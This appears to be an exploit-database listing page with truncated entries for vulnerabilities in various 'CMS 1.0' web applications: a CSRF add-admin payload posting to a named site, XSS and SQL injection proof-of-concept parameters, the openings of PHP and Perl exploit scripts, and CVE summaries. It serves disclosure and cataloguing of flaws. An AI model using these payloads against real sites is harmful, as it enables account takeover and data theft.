Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin) Vulnerability

Exploit for php platform in category web applications New Admin Username: Password: Confirm Password: Email: $"ekleabi".live'click',function $.ajax type: "POST", url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajaxnewadmin.php", data: username:$".efe username".val,...

Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)

Photography CMS 1.0 - Cross-Site Request Forgery Add Admin New Admin Username: Password: Confirm Password: Email: $"ekleabi".live'click',function $.ajax type: "POST", url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajaxnewadmin.php", data: username:$".efe username".val, password1:$".efe...

Photography CMS 1.0 - Cross-Site Request Forgery (Add Admin)

New Admin Username: Password: Confirm Password: Email: $"ekleabi".live'click',function $.ajax type: "POST", url: "http://ronnieswietek.com/cc/clients/resources/ajax/ajaxnewadmin.php", data: username:$".efe username".val, password1:$".efe password1".val, password2:$".efe password2".val, email:$".e...

Library CMS 1.0 Cross Site Scripting Vulnerability

Exploit for php platform in category web applications Exploit Title: Library CMS - Powerful Book Management System - xss Google Dork: N/A Date: 2017/27/12 Exploit Author: ShanoWeb Author Mail : MrdotNet2NetatGmaildotcom Vendor Homepage: http://kaasoft.pro/ Software Buy:...

News Magazine And Blog CMS 1.0 SQL Injection

Exploit Title: News Magazine & Blog CMS 1.0 - SQL Injection Dork: N/A Date: 30.10.2017 Vendor Homepage: http://geniusocean.com/ Software Link: https://codecanyon.net/item/news-dynamic-newspaper-magazine-and-blog-cms-script/19656143 Demo: http://demo.geniusocean.com/news/ Version: 1.0 Category:...

Zarafe CMS 1.0 Cross Site Scripting

Exploit Title : Zarafe CMS 1.0 / Cross Site Scripting Exploit Author : Persian Hack Team Vendor Homepage : http://www.zarrafeh.net/ Category: Webapps Tested on: Win Version: 1.0 Date: 2016/08/27 PoC: GET = /productview.php?productid=XSS GET = /articles.php?articleid=XSS Payload : 7b084"Only For...

Ersoft CMS 1.0 SQL Injection

======================================================================== | Title : Ersoft CMS 1.0 Sql injection vulnerability | Author : indoushka | email : [email protected] | Tested on: windows 8.1 Français V.Pro | Vendor : https://www.ersoft.com.tw/...

CVE-2015-4678

The CVE-2015-4678 issue is a SQL injection in Persian Car CMS 1.0, exploitable via the cat_id parameter in the default URI. The vulnerability allows remote attackers to execute arbitrary SQL commands, with impact on confidentiality, integrity, and availability as indicated by the NVD entry (CVSSv...

Gazelle CMS 1.0 - Remote Arbitrary Shell Upload Vulnerability

No description provided by source. ==================================================== | Gazelle CMS 1.0 Remote Arbitrary File Upload Vuln | My Home Page : WwW.Sec-Code.CoM | Founded By RoMaNcYxHaCkEr ==================================================== ! Discovered.: RoMaNcYxHaCkEr ! Vendor.......

orbis cms 1.0 (afd/adf/asu/sql) Multiple Vulnerabilities

No description provided by source. + Orbis CMS 1.0 AFD/ADF/ASU/SQL Multiple Remote Vulnerabilities + Discovered By SirGod + http://insecurity-ro.org + http://h4cky0u.org + Dork : Powered by Orbis CMS + Download script : http://www.novo-ws.com/orbis-cms/download.shtml + Arbitrary File Download + -...

DS CMS 1.0 (NewsId) Remote SQL Injection Vulnerability

No description provided by source. Script : DS CMS 1.0 NewsId Remote SQL Injection Vulnerability Script site : http://cms.dsinternal.com/Home AUTHOR : Palyo34 HOME : http://www.1923turk.biz ======================================================= +++++++++++++++++++++++ Exploit...

E Cms <= 1.0 (index.php s) Remote SQL Injection Vulnerability

No description provided by source. ============================================================================== Hackteach.OrG zZzZzZz zZzZzZz Zz ooooo Zz Zz o o Zz Zz o o Zz Zz o o Zz Zz ooooo Zz zZzZzZz zZzZzZz ============================================================================== » No...

Jasmine CMS 1.0 - SQL Injection/Remote Code Execution Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ?php errorreporting0; inisetmaxexecutiontime,0; inisetdefaultsockettimeout,5; if $argc4 print -------------------------------------------------------------------------\r\n; print Jasmine CMS 1.0 SQL Injection/Remote Code...

KTP Computer Customer Database CMS 1.0 - Local File Inclusion Vulnerability

No description provided by source. !/usr/bin/perl -w ====================================== KTPCCD Local File Inclusion Exploit ====================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

Cool source cms 1.0 underground 0day(any upload)-vulnerability warning-the black bar safety net

Common/UpLoadFile. aspx vulnerability file arbitrary upload Not like clouds or something, here is also the starter. Take the China broadcasting the auspices of the network to do the test. http://www.byzc.com/Common/UpLoadFile.aspx Set the parameter to. （..Are you going to upload path, no..he will...

Contexis CMS 1.0 Cross Site Scripting

CVE-2013-6239:Contexis 1.0 CMS, Reflected Xss Severity: Medium Vendor: exis-ti.com Versions Affected: 1.0 Description: The contexist has be found the reflected XSS Vulnerability if use the photo gallery model someone can insert xss code at the url executing javascript codes on the web. Exploit: G...

CVE-2012-6519

SQL injection vulnerability in modules/poll/index.php in DIY-CMS 1.0 allows remote attackers to execute arbitrary SQL commands via the start parameter to mod.php...

CVE-2012-6519

The CVE-2012-6519 issue affects DIY-CMS 1.0, where an SQL injection flaw exists in modules/poll/index.php. The vulnerability is triggered by the start parameter to mod.php, allowing remote attackers to execute arbitrary SQL commands. The impact is described as enabling data access/ modification w...

CVE-2012-6517

DiY-CMS 1.0 is affected by multiple XSS vulnerabilities allowing remote attackers to inject arbitrary script/HTML via (1) the question parameter to /modules/poll/add.php and (2) the question or (3) the answer parameter to /modules/poll/edit.php. The root cause is unsafe handling of input leading ...

CVE-2012-6518

Cross-site request forgery CSRF vulnerability in mod.php in DiY-CMS 1.0 allows remote attackers to hijack the authentication of administrators for requests that create a poll via an add action to the poll module...